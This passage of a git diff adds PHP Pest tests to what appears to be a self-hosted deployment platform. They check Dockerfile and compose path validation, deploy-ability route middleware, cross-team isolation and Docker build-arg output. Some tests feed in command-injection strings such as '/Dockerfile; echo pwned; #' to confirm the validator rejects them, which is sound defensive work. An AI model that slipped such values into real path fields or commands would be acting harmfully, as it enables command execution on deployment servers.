|
||||
['dockerfile_location' => '/Dockerfile; echo pwned; #'],
|
||||
['dockerfile_location' => $rules['dockerfile_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('dockerfile_location validation allows valid paths', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_location' => '/docker/Dockerfile.prod'],
|
||||
['dockerfile_location' => $rules['dockerfile_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
test('docker_compose_location validation rejects shell metacharacters', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_location' => '/docker-compose.yml; env; #'],
|
||||
['docker_compose_location' => $rules['docker_compose_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('docker_compose_location validation allows valid paths', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_location' => '/docker/docker-compose.prod.yml'],
|
||||
['docker_compose_location' => $rules['docker_compose_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('sharedDataApplications rules survive array_merge in controller', function () {
|
||||
test('docker_compose_location safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
// After our fix, local no longer contains docker_compose_location,
|
||||
// so the shared regex rule must survive
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
// The merged rules for docker_compose_location should be the safe regex, not just 'string'
|
||||
expect($merged['docker_compose_location'])->toBeArray();
|
||||
expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/');
|
||||
});
|
||||
});
|
||||
|
||||
describe('path fields require leading slash', function () {
|
||||
test('dockerfile_location without leading slash is rejected by API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_location' => 'Dockerfile'],
|
||||
['dockerfile_location' => $rules['dockerfile_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('docker_compose_location without leading slash is rejected by API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_location' => 'docker-compose.yaml'],
|
||||
['docker_compose_location' => $rules['docker_compose_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('deployment job rejects path without leading slash', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, 'docker-compose.yaml', 'docker_compose_location'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
});
|
||||
});
|
||||
|
||||
describe('API route middleware for deploy actions', function () {
|
||||
test('application start route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
$route = $routes->getByAction('App\Http\Controllers\Api\ApplicationsController@action_deploy');
|
||||
|
||||
expect($route)->not->toBeNull();
|
||||
$middleware = $route->gatherMiddleware();
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
expect($middleware)->not->toContain('api.ability:write');
|
||||
});
|
||||
|
||||
test('application restart route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
$matchedRoute = null;
|
||||
foreach ($routes as $route) {
|
||||
if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'restart')) {
|
||||
$matchedRoute = $route;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
expect($matchedRoute)->not->toBeNull();
|
||||
$middleware = $matchedRoute->gatherMiddleware();
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
|
||||
test('application stop route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
$matchedRoute = null;
|
||||
foreach ($routes as $route) {
|
||||
if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'stop')) {
|
||||
$matchedRoute = $route;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
expect($matchedRoute)->not->toBeNull();
|
||||
$middleware = $matchedRoute->gatherMiddleware();
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
|
||||
test('database start route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
$matchedRoute = null;
|
||||
foreach ($routes as $route) {
|
||||
if (str_contains($route->uri(), 'databases') && str_contains($route->uri(), 'start')) {
|
||||
$matchedRoute = $route;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
expect($matchedRoute)->not->toBeNull();
|
||||
$middleware = $matchedRoute->gatherMiddleware();
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
|
||||
test('service start route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
$matchedRoute = null;
|
||||
foreach ($routes as $route) {
|
||||
if (str_contains($route->uri(), 'services') && str_contains($route->uri(), 'start')) {
|
||||
$matchedRoute = $route;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
expect($matchedRoute)->not->toBeNull();
|
||||
$middleware = $matchedRoute->gatherMiddleware();
|
||||
expect($middleware)->toContain('api.ability:deploy');
|
||||
});
|
||||
});
|
||||
80
tests/Feature/DomainsByServerApiTest.php
Normal file
80
tests/Feature/DomainsByServerApiTest.php
Normal file
|
|
@ -0,0 +1,80 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function authHeaders(): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.test()->bearerToken,
|
||||
];
|
||||
}
|
||||
|
||||
test('returns domains for own team application via uuid query param', function () {
|
||||
$application = Application::factory()->create([
|
||||
'fqdn' => 'https://my-app.example.com',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");
|
||||
|
||||
$response->assertOk();
|
||||
$response->assertJsonFragment(['my-app.example.com']);
|
||||
});
|
||||
|
||||
test('returns 404 when application uuid belongs to another team', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherUser = User::factory()->create();
|
||||
$otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
|
||||
|
||||
$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
|
||||
$otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
|
||||
$otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
|
||||
$otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
|
||||
|
||||
$otherApplication = Application::factory()->create([
|
||||
'fqdn' => 'https://secret-app.internal.company.com',
|
||||
'environment_id' => $otherEnvironment->id,
|
||||
'destination_id' => $otherDestination->id,
|
||||
'destination_type' => $otherDestination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}");
|
||||
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Application not found.']);
|
||||
});
|
||||
|
||||
test('returns 404 for nonexistent application uuid', function () {
|
||||
$response = $this->withHeaders(authHeaders())
|
||||
->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid");
|
||||
|
||||
$response->assertNotFound();
|
||||
$response->assertJson(['message' => 'Application not found.']);
|
||||
});
|
||||
|
|
@ -1,144 +1,59 @@
|
|||
<?php
|
||||
|
||||
test('multiline environment variables are properly escaped for docker build args', function () {
|
||||
$sshKey = '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----';
|
||||
|
||||
test('generateDockerBuildArgs returns only keys without values', function () {
|
||||
$variables = [
|
||||
['key' => 'SSH_PRIVATE_KEY', 'value' => "'{$sshKey}'", 'is_multiline' => true],
|
||||
['key' => 'SSH_PRIVATE_KEY', 'value' => "'some-ssh-key'", 'is_multiline' => true],
|
||||
['key' => 'REGULAR_VAR', 'value' => 'simple value', 'is_multiline' => false],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
|
||||
// SSH key should use double quotes and have proper escaping
|
||||
$sshArg = $buildArgs->first();
|
||||
expect($sshArg)->toStartWith('--build-arg SSH_PRIVATE_KEY="');
|
||||
expect($sshArg)->toEndWith('"');
|
||||
expect($sshArg)->toContain('BEGIN OPENSSH PRIVATE KEY');
|
||||
expect($sshArg)->not->toContain("'BEGIN"); // Should not have the wrapper single quotes
|
||||
|
||||
// Regular var should use escapeshellarg (single quotes)
|
||||
$regularArg = $buildArgs->last();
|
||||
expect($regularArg)->toBe("--build-arg REGULAR_VAR='simple value'");
|
||||
// Docker gets values from the environment, so only keys should be in build args
|
||||
expect($buildArgs->first())->toBe('--build-arg SSH_PRIVATE_KEY');
|
||||
expect($buildArgs->last())->toBe('--build-arg REGULAR_VAR');
|
||||
});
|
||||
|
||||
test('multiline variables with special bash characters are escaped correctly', function () {
|
||||
$valueWithSpecialChars = "line1\nline2 with \"quotes\"\nline3 with \$variables\nline4 with `backticks`";
|
||||
test('generateDockerBuildArgs works with collection of objects', function () {
|
||||
$variables = collect([
|
||||
(object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
|
||||
(object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
|
||||
]);
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
expect($buildArgs)->toHaveCount(2);
|
||||
expect($buildArgs->values()->toArray())->toBe([
|
||||
'--build-arg VAR1',
|
||||
'--build-arg VAR2',
|
||||
]);
|
||||
});
|
||||
|
||||
test('generateDockerBuildArgs collection can be imploded into valid command string', function () {
|
||||
$variables = [
|
||||
['key' => 'SPECIAL_VALUE', 'value' => "'{$valueWithSpecialChars}'", 'is_multiline' => true],
|
||||
['key' => 'COOLIFY_URL', 'value' => 'http://example.com', 'is_multiline' => false],
|
||||
['key' => 'COOLIFY_BRANCH', 'value' => 'main', 'is_multiline' => false],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
|
||||
// The collection must be imploded to a string for command interpolation
|
||||
// This was the bug: Collection was interpolated as JSON instead of a space-separated string
|
||||
$argsString = $buildArgs->implode(' ');
|
||||
expect($argsString)->toBe('--build-arg COOLIFY_URL --build-arg COOLIFY_BRANCH');
|
||||
|
||||
// Verify it does NOT produce JSON when cast to string
|
||||
expect($argsString)->not->toContain('{');
|
||||
expect($argsString)->not->toContain('}');
|
||||
});
|
||||
|
||||
test('generateDockerBuildArgs handles variables without is_multiline', function () {
|
||||
$variables = [
|
||||
['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Verify double quotes are escaped
|
||||
expect($arg)->toContain('\\"quotes\\"');
|
||||
// Verify dollar signs are escaped
|
||||
expect($arg)->toContain('\\$variables');
|
||||
// Verify backticks are escaped
|
||||
expect($arg)->toContain('\\`backticks\\`');
|
||||
});
|
||||
|
||||
test('single-line environment variables use escapeshellarg', function () {
|
||||
$variables = [
|
||||
['key' => 'SIMPLE_VAR', 'value' => 'simple value with spaces', 'is_multiline' => false],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Should use single quotes from escapeshellarg
|
||||
expect($arg)->toBe("--build-arg SIMPLE_VAR='simple value with spaces'");
|
||||
});
|
||||
|
||||
test('multiline certificate with newlines is preserved', function () {
|
||||
$certificate = '-----BEGIN CERTIFICATE-----
|
||||
MIIDXTCCAkWgAwIBAgIJAKL0UG+mRkSvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
|
||||
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
|
||||
aWRnaXRzIFB0eSBMdGQwHhcNMTkwOTE3MDUzMzI5WhcNMjkwOTE0MDUzMzI5WjBF
|
||||
-----END CERTIFICATE-----';
|
||||
|
||||
$variables = [
|
||||
['key' => 'TLS_CERT', 'value' => "'{$certificate}'", 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Newlines should be preserved in the output
|
||||
expect($arg)->toContain("\n");
|
||||
expect($arg)->toContain('BEGIN CERTIFICATE');
|
||||
expect($arg)->toContain('END CERTIFICATE');
|
||||
expect(substr_count($arg, "\n"))->toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
test('multiline JSON configuration is properly escaped', function () {
|
||||
$jsonConfig = '{
|
||||
"key": "value",
|
||||
"nested": {
|
||||
"array": [1, 2, 3]
|
||||
}
|
||||
}';
|
||||
|
||||
$variables = [
|
||||
['key' => 'JSON_CONFIG', 'value' => "'{$jsonConfig}'", 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// All double quotes in JSON should be escaped
|
||||
expect($arg)->toContain('\\"key\\"');
|
||||
expect($arg)->toContain('\\"value\\"');
|
||||
expect($arg)->toContain('\\"nested\\"');
|
||||
});
|
||||
|
||||
test('empty multiline variable is handled correctly', function () {
|
||||
$variables = [
|
||||
['key' => 'EMPTY_VAR', 'value' => "''", 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
expect($arg)->toBe('--build-arg EMPTY_VAR=""');
|
||||
});
|
||||
|
||||
test('multiline variable with only newlines', function () {
|
||||
$onlyNewlines = "\n\n\n";
|
||||
|
||||
$variables = [
|
||||
['key' => 'NEWLINES_ONLY', 'value' => "'{$onlyNewlines}'", 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
expect($arg)->toContain("\n");
|
||||
// Should have 3 newlines preserved
|
||||
expect(substr_count($arg, "\n"))->toBe(3);
|
||||
});
|
||||
|
||||
test('multiline variable with backslashes is escaped correctly', function () {
|
||||
$valueWithBackslashes = "path\\to\\file\nC:\\Windows\\System32";
|
||||
|
||||
$variables = [
|
||||
['key' => 'PATH_VAR', 'value' => "'{$valueWithBackslashes}'", 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Backslashes should be doubled
|
||||
expect($arg)->toContain('path\\\\to\\\\file');
|
||||
expect($arg)->toContain('C:\\\\Windows\\\\System32');
|
||||
expect($arg)->toBe('--build-arg NO_FLAG_VAR');
|
||||
});
|
||||
|
||||
test('generateDockerEnvFlags produces correct format', function () {
|
||||
|
|
@ -155,54 +70,14 @@ test('generateDockerEnvFlags produces correct format', function () {
|
|||
expect($envFlags)->toContain('line2');
|
||||
});
|
||||
|
||||
test('helper functions work with collection input', function () {
|
||||
test('generateDockerEnvFlags works with collection input', function () {
|
||||
$variables = collect([
|
||||
(object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
|
||||
(object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
|
||||
]);
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
expect($buildArgs)->toHaveCount(2);
|
||||
|
||||
$envFlags = generateDockerEnvFlags($variables);
|
||||
expect($envFlags)->toBeString();
|
||||
expect($envFlags)->toContain('-e VAR1=');
|
||||
expect($envFlags)->toContain('-e VAR2="');
|
||||
});
|
||||
|
||||
test('variables without is_multiline default to false', function () {
|
||||
$variables = [
|
||||
['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Should use escapeshellarg (single quotes) since is_multiline defaults to false
|
||||
expect($arg)->toBe("--build-arg NO_FLAG_VAR='some value'");
|
||||
});
|
||||
|
||||
test('real world SSH key example', function () {
|
||||
// Simulate what real_value returns (wrapped in single quotes)
|
||||
$sshKey = "'-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----'";
|
||||
|
||||
$variables = [
|
||||
['key' => 'KEY', 'value' => $sshKey, 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Should produce clean output without wrapper quotes
|
||||
expect($arg)->toStartWith('--build-arg KEY="-----BEGIN OPENSSH PRIVATE KEY-----');
|
||||
expect($arg)->toEndWith('-----END OPENSSH PRIVATE KEY-----"');
|
||||
// Should NOT have the escaped quote sequence that was in the bug
|
||||
expect($arg)->not->toContain("''");
|
||||
expect($arg)->not->toContain("'\\''");
|
||||
});
|
||||
|
|
|
|||
85
tests/Feature/ResourceOperationsCrossTenantTest.php
Normal file
85
tests/Feature/ResourceOperationsCrossTenantTest.php
Normal file
|
|
@ -0,0 +1,85 @@
|
|||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\ResourceOperations;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Livewire\Livewire;
|
||||
|
||||
beforeEach(function () {
|
||||
// Team A (attacker's team)
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
$this->applicationA = Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => $this->destinationA->getMorphClass(),
|
||||
]);
|
||||
|
||||
// Team B (victim's team)
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
|
||||
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
|
||||
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
test('cloneTo rejects destination belonging to another team', function () {
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('cloneTo', $this->destinationB->id)
|
||||
->assertHasErrors('destination_id');
|
||||
|
||||
// Ensure no cross-tenant application was created
|
||||
expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('cloneTo allows destination belonging to own team', function () {
|
||||
$secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
|
||||
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('cloneTo', $secondDestination->id)
|
||||
->assertHasNoErrors('destination_id')
|
||||
->assertRedirect();
|
||||
});
|
||||
|
||||
test('moveTo rejects environment belonging to another team', function () {
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('moveTo', $this->environmentB->id);
|
||||
|
||||
// Resource should still be in original environment
|
||||
$this->applicationA->refresh();
|
||||
expect($this->applicationA->environment_id)->toBe($this->environmentA->id);
|
||||
});
|
||||
|
||||
test('moveTo allows environment belonging to own team', function () {
|
||||
$secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('moveTo', $secondEnvironment->id)
|
||||
->assertRedirect();
|
||||
|
||||
$this->applicationA->refresh();
|
||||
expect($this->applicationA->environment_id)->toBe($secondEnvironment->id);
|
||||
});
|
||||
|
||||
test('StandaloneDockerPolicy denies update for cross-team user', function () {
|
||||
expect($this->userA->can('update', $this->destinationB))->toBeFalse();
|
||||
});
|
||||
|
||||
test('StandaloneDockerPolicy allows update for same-team user', function () {
|
||||
expect($this->userA->can('update', $this->destinationA))->toBeTrue();
|
||||
});
|
||||
49
tests/Feature/ScheduledJobManagerStaleLockTest.php
Normal file
49
tests/Feature/ScheduledJobManagerStaleLockTest.php
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\ScheduledJobManager;
|
||||
use Illuminate\Support\Facades\Redis;
|
||||
|
||||
it('clears stale lock when TTL is -1', function () {
|
||||
$cachePrefix = config('cache.prefix');
|
||||
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
|
||||
|
||||
$redis = Redis::connection('default');
|
||||
$redis->set($lockKey, 'stale-owner');
|
||||
|
||||
expect($redis->ttl($lockKey))->toBe(-1);
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$job->middleware();
|
||||
|
||||
expect($redis->exists($lockKey))->toBe(0);
|
||||
});
|
||||
|
||||
it('preserves valid lock with positive TTL', function () {
|
||||
$cachePrefix = config('cache.prefix');
|
||||
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
|
||||
|
||||
$redis = Redis::connection('default');
|
||||
$redis->set($lockKey, 'active-owner');
|
||||
$redis->expire($lockKey, 60);
|
||||
|
||||
expect($redis->ttl($lockKey))->toBeGreaterThan(0);
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$job->middleware();
|
||||
|
||||
expect($redis->exists($lockKey))->toBe(1);
|
||||
|
||||
$redis->del($lockKey);
|
||||
});
|
||||
|
||||
it('does not fail when no lock exists', function () {
|
||||
$cachePrefix = config('cache.prefix');
|
||||
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
|
||||
|
||||
Redis::connection('default')->del($lockKey);
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$middleware = $job->middleware();
|
||||
|
||||
expect($middleware)->toBeArray()->toHaveCount(1);
|
||||
});
|
||||
77
tests/Feature/ServiceDatabaseTeamTest.php
Normal file
77
tests/Feature/ServiceDatabaseTeamTest.php
Normal file
|
|
@ -0,0 +1,77 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use App\Models\ServiceDatabase;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('returns the correct team through the service relationship chain', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$project = Project::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'Test Project',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$environment = Environment::create([
|
||||
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
|
||||
'project_id' => $project->id,
|
||||
]);
|
||||
|
||||
$service = Service::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'supabase',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => 1,
|
||||
'destination_type' => 'App\Models\StandaloneDocker',
|
||||
'docker_compose_raw' => 'version: "3"',
|
||||
]);
|
||||
|
||||
$serviceDatabase = ServiceDatabase::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'supabase-db',
|
||||
'service_id' => $service->id,
|
||||
]);
|
||||
|
||||
expect($serviceDatabase->team())->not->toBeNull()
|
||||
->and($serviceDatabase->team()->id)->toBe($team->id);
|
||||
});
|
||||
|
||||
it('returns the correct team for ServiceApplication through the service relationship chain', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$project = Project::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'Test Project',
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
|
||||
$environment = Environment::create([
|
||||
'name' => 'test-env-'.Illuminate\Support\Str::random(8),
|
||||
'project_id' => $project->id,
|
||||
]);
|
||||
|
||||
$service = Service::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'supabase',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => 1,
|
||||
'destination_type' => 'App\Models\StandaloneDocker',
|
||||
'docker_compose_raw' => 'version: "3"',
|
||||
]);
|
||||
|
||||
$serviceApplication = ServiceApplication::create([
|
||||
'uuid' => (string) Illuminate\Support\Str::uuid(),
|
||||
'name' => 'supabase-studio',
|
||||
'service_id' => $service->id,
|
||||
]);
|
||||
|
||||
expect($serviceApplication->team())->not->toBeNull()
|
||||
->and($serviceApplication->team()->id)->toBe($team->id);
|
||||
});
|
||||
52
tests/Feature/TeamNotificationCheckTest.php
Normal file
52
tests/Feature/TeamNotificationCheckTest.php
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
});
|
||||
|
||||
describe('isAnyNotificationEnabled', function () {
|
||||
test('returns false when no notifications are enabled', function () {
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeFalse();
|
||||
});
|
||||
|
||||
test('returns true when email notifications are enabled', function () {
|
||||
$this->team->emailNotificationSettings->update(['smtp_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns true when discord notifications are enabled', function () {
|
||||
$this->team->discordNotificationSettings->update(['discord_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns true when slack notifications are enabled', function () {
|
||||
$this->team->slackNotificationSettings->update(['slack_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns true when telegram notifications are enabled', function () {
|
||||
$this->team->telegramNotificationSettings->update(['telegram_enabled' => true]);
|
||||
|
||||
